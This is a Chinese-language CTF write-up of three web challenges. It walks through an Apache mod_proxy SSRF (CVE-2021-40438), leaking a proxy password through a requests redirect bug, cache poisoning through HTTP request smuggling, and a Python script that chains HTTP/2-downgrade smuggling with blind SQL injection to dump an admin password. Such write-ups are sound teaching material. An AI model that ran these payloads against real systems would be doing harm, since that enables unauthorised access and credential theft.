Proxy 代码审计 在httpd.conf
文件中可以看到代理配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ServerName bytectf Listen 8123<VirtualHost "*:8123 "> ProxyRequests On <Proxy "*"> AuthType Basic AuthName "Only For Internal Use, Password Required" AuthUserFile password.file AuthGroupFile group.file Require group usergroup Require host web </Proxy > </VirtualHost > Listen 80<VirtualHost "*:80 "> ProxyPass "/" "http://website/" disablereuse=On</VirtualHost >
8123为代理端口,80端口(也就是我们能访问的端口)的请求转发到website页面
该页面是个纯前端文件
那么我们继续看internal部分的app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from flask import Flask, request, render_templateimport requests, os PROXY_USER = os.getenv('CHALL_PROXY_USER' ) PROXY_PASS = os.getenv('CHALL_PROXY_PASS' ) PROXIES = {'http' : f'http://{PROXY_USER} :{PROXY_PASS} @proxy:8123' , 'https' : f'http://{PROXY_USER} :{PROXY_PASS} @proxy:8123' } app = Flask(__name__)@app.route('/' ) def main (): return render_template('index.html' )@app.route('/fetch' , methods=['POST' ] ) def fetch (): if not request.form['url' ]: return f'Please provide url' app.logger.info(request.form['url' ]) try : resp = requests.get(request.form['url' ], timeout=5 , proxies=PROXIES) except Exception as e: app.logger.error(f'Error: {e} ' ) return 'Error' if resp.status_code == 200 : return resp.text else : app.logger.warning(f'Error: status {resp.status_code} ' ) return 'Error' if __name__ == '__main__' : app.run()
可以通过fetch路由发出代理请求
思路整理 注意到本题的proxypass就是flag
所以本题的大致解题思路梳理如下
通过SSRF访问到app.py的路由–>通过app.py发出一个向外的请求–>通过某种方式带出proxypass
(当然,赛后梳理思路属于是射箭画靶的行为,比赛尝试了各种手段后才梳理到这条思路,最后也没做出来)
解题 SSRF 代理服务器为Apache 2.4.48
直接google开搜,可以找到apache mod_proxy SSRF,适用版本 <=2.4.48
CVE-2021-40438,该漏洞的具体成因可以参考这篇文章
可以通过如下payload进行SSRF访问到internal页面
1 GET /?unix:AAAAAAA……AA|http:/ /internal/
带出代理密码 注意到题目给出的附件中特意指定了python的requests版本为2.25.1
Python requests库2.25.1及以下版本在处理302跳转时会带着proxy验证头
原因分析:https://github.com/psf/requests/issues/5677
payload:
1 2 3 4 5 POST /unix:AAAA...AAA|http://internal/fetch HTTP/1.1 Host : 47.95.118.231:30888Content-Type : application/x-www-form-urlencodedurl=https:// httpbingo.org/redirect-to?url=https:/ /httpbingo.org/ headers
A-ginx 首先感谢超级无敌大学霸Nama的分析
首页登录进去之后是一个发病库(我看了两小时的超级敏感)
可以在上面发布并查询小作文
代码审计 flag藏身处
handler.go里能看到一个GetFlag的路由,跟进flag.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package flagimport ( "fmt" "net" "os" "strings" "github.com/gin-gonic/gin" )var network = "172.16.0.0/12" func GetFlag (c *gin.Context) { username := c.GetString("username" ) rip := c.Request.Header.Get("X-Sup3r-Re4l-Ip" ) ip := net.ParseIP(strings.Split(rip, ":" )[0 ]) _, subnet, _ := net.ParseCIDR(network) if ip == nil { c.JSON(200 , gin.H{ "status" : -1 , "message" : "Invalid address" , }) return } else if !subnet.Contains(ip) { c.JSON(200 , gin.H{ "status" : -1 , "message" : fmt.Sprintf("Your ip is %s, not in %s." , ip, network), }) return } if username != "admin" { c.JSON(200 , gin.H{ "status" : -1 , "message" : fmt.Sprintf("You are %s, not admin." , username), }) return } flag := os.Getenv("FLAG" ) c.JSON(200 , gin.H{ "status" : 0 , "flag" : flag, }) }
在X-Sup3r-Re4l-Ip是172.16.0.0/12的子网且username为admin时,访问获取flag
BOT行为分析
pow,没啥好说的
过了pow之后可以让管理员check文章,重点关注check文章部分
注意到有脚本执行函数,可以造成XSS
Aginx服务
注意到服务中存在缓存机制,通过url判断是否返回缓存
如果没有缓存,就发起代理请求,返回的状态码为200时保存缓存
技术要点 我们的最终目的是获得flag。因为BOT的存在,很容易想到通过XSS令BOT访问/flag后,我们再通过某种方式获取flag。
那这个“某种方式”是什么呢?
缓存攻击 在有缓存机制的服务中,如果对缓存处理不当,就有可能进行Web缓存欺骗攻击
缓存攻击图解
简单来说,就是通过构造特殊的访问请求,令代理服务器错误地缓存了本不应该缓存的内容,令该缓存内容变成可以公开访问的公共资源
在本题中,请求的url会经过字符串CheckStaticPath匹配,如果判断为静态内容,就会返回缓存
正则表达式
那么此处要如何进行缓存攻击呢?
请求走私 HTTP请求走私攻击
HTTP请求走私这一攻击方式很特殊,它不像其他的Web攻击方式那样比较直观,它更多的是在复杂网络环境下,不同的服务器对RFC标准实现的方式不同,程度不同。这样一来,对同一个HTTP请求,不同的服务器可能会产生不同的处理结果,这样就产生了了安全风险。
我们直接来看下面这个payload
1 2 3 4 5 6 GET /static/ibuki%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview HTTP/2 Host : 39.105.13.40:30443Content-Type : application/x-www-form-urlencodedContent-Length : 22title =xss&content=test
GET请求中的%0D%0A%0D%0A在urldecode之后变成了\r\n\r\n
,从而结束当前的GET请求,同时在后面写上一个新的POST请求,就可以将preview界面的内容缓存下来,存在/static/ibuki%20HTTP/1.1%0D%0AConnection:%20keep-alive%0D%0AHost:%20a%0D%0A%0D%0APOST%20%2Fv/articles/preview
这个奇奇怪怪的url下面
攻击思路 现在已经有了对BOT进行xss攻击的手段,接下来就是如何获取flag的细节问题了
在impakho大佬的wp 里,impakho佬使用了这样的手段:
由于文章发表时,通过登录凭据Authorization
的值来确定文章作者,而我们自身账号的Authorization
我们当然是已知的,所以可以通过XSS,让BOT以我们的Authorization
来发表文章,这样我们就能直接在文章列表里看到文章内容。
impakho大佬先以此获得了管理员的密码,得到Authorization
,然后再将flag发表到自己的文章列表里,从而得到flag。
出题人给出的标准解法是:
服务端在处理..%2f 时会返回一个302跳转,同时JavaScript会默认的跟随跳转。由此,可以在一个fetch请求中发出两个数据包。
1 2 3 4 5 6 7 8 9 10 11 GET /articles/..%2 f..%2 fstatic/Kur4 ge1337 .json HTTP/1 .1 xxx HTTP /1 .1 302 Moved TemporarilyLocation : /static/Kur4 ge1337 .jsonxxx GET /static/Kur4 ge1337 .json HTTP/1 .1 xxx HTTP /1 .1 200 OK
即可以令BOT也进行请求走私,在访问/flag时带有管理员的Authorization
。
然后就是出题人提到的,也是Nama最后给出的简单的非预期解法:
直接把flag污染到缓存中,不需要设置XSS
..%25252f..%25252fstatic%252fibukifalling.json%2520HTTP%252f1.1%250aHost:%2520localhost%250aConnection:%2520Keep-Alive%250a%250aGET%2520%252fflag
把上面的payload直接向bot发送两次,把flag存到对应的缓存中,可以直接访问
A-ginx2 代码审计 大体同A-ginx,不过这一次没有bot了,多了个SQL注入
但是这个WAF基本上把所有能过滤的东西全过滤了😅(800+个关键字,怕了怕了)
不过注意到这里只在aginx端对请求的url进行过滤,可以利用走私绕过WAF
HTTP/2 降级请求走私 贴一篇关于HTTP/2的走私分析
HTTP/2: The Sequel is Always Worse
文章中提到,HTTP/2在和HTTP/1.1互相转换时,可能会出现一些解析上的问题。
例如:HTTP/2是不需要Content-Length的请求头的,但我们发送报文时依然可以带上这个请求头,虽然没有什么实际作用。
不过,当HTTP/2被降级为HTTP/1.1时,如果攻击者故意构造错误的Content-Length,就可以进行请求走私
如上图所示,原始请求body中超出Content-Length
所声明长度的部分会被解析成一个新的请求。
本题中,由于WAF不会对body进行检查,所以我们可以把payload写在body里,然后通过上述方式走私至后端。
直接上抄的wp脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import httpximport jsonfrom urllib import parse url = "https://127.0.0.1:30443/v/" Auth = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDM4NjkzMzgsInVzZXJuYW1lIjoiaWJ1a2kifQ.it4eLgAYPlXOtG7adqPgfhmmk2T6M4M7dpsX4iY1f4I" headers = {'Content-Length' :'4' }def sqli (sql ): query = parse.quote(json.dumps({f"title` OR (SELECT 1 FROM users WHERE username='admin' AND {sql} ) OR `title" :"n0t_Exsit" })) data = f'''abcdGET /v/articles?pageNum=0&pageSize=36&query={query} HTTP/1.1 Host: 127.0.0.1:30443 Connection: Keep-Alive Authorization: {Auth} ''' with httpx.Client(http2=True , verify=False ) as c: r = c.request("GET" ,url=url,headers=headers,data=data) r = c.request("GET" ,url=url) obj = json.loads(r.text) return len (obj['articles' ]) != 0 passwd = "" for i in range (1 ,29 ): min = 0x10 max = 128 while abs (max -min ) > 1 : mid = (max + min ) // 2 payload = f"ASCII(SUBSTR(password,{i} ,1))>{mid} " if sqli(payload): min = mid else : max = mid passwd += chr (max ) print (passwd)
爆出admin密码
用管理员账号登录,可以得到管理员的Authorization
但是注意到此处获取flag时判断IP的XFF头是未知的
我们还需要获取XFF,而此处获取XFF同样可以使用降级走私,不过这一次是把Content-Length
改大
连发两次,在返回报文中得到XFF头
最后就可以利用admin的Auth与伪造的XFF头获取flag